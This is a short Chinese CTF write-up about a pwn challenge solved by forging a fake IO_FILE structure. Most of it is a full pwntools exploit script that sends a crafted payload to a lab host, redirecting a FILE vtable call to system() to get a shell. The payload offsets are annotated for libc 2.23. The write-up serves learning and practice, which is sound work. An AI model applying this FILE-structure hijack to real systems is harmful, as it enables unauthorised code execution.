前言
很简单的题目,只是因为不了解文件结构,也就没做出来。
过程
基本上和讲师给的例题是一样的(可是那天我没来),比赛的时候郁闷,百度了多久的资料(我还翻出了一年前写的fsp的文章,表示已经看不懂了-。-),好多IO_FILE都是和堆结合在一起,原理虽然看明白了,但是到了也没弄明白这个fake_file
该怎么构造偏移是多少??而且比较难受的是我本地是ubuntu 1804
,好像用不了,调了好久没调出来。最后找到了pdf,照着例子,调试了一下。认清了偏移,那么这题就很easy了-。-
一下是随便传的几张图。
代码:
from pwn import*
def attack_remote_untils():
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('192.168.148.126', 10000)
# conn = remote('127.0.0.1', 10000)
file_addr = 0x6010C0
system_addr = 0x400897
raw_input("go?")
conn.recvuntil(">")
conn.sendline('1')
sleep(0.1)
# 1604 2.23
payload=('\x00'*0x10+p64(system_addr)+'\x00'*0x70) # call qword ptr [rax+10h]
payload+=p64(file_addr) # mov rdx, [rbx+88h]
payload+='\x00'*(0xd8-len(payload))
payload+=p64(file_addr) # mov rax, [rbx+0D8h]
payload+='\x00'*(0x100-len(payload))
payload+=p64(file_addr) #rdi = FILE * mov rbx , rdi
# payload = (('\0' * 0x10 + p64(system_addr) + '\0' * 0x70 + p64(file_addr)
# ).ljust(0xd8, '\0') + p64(file_addr)).ljust(0x100, '\0') + p64(file_addr)
conn.sendline(payload)
conn.recvuntil(">")
conn.sendline('3')
# get shell
conn.interactive()
attack_remote_untils()
总结
话说突然想到64位的dl_resolve的结构完全可以自己调出来丫,当时怎么没想到。。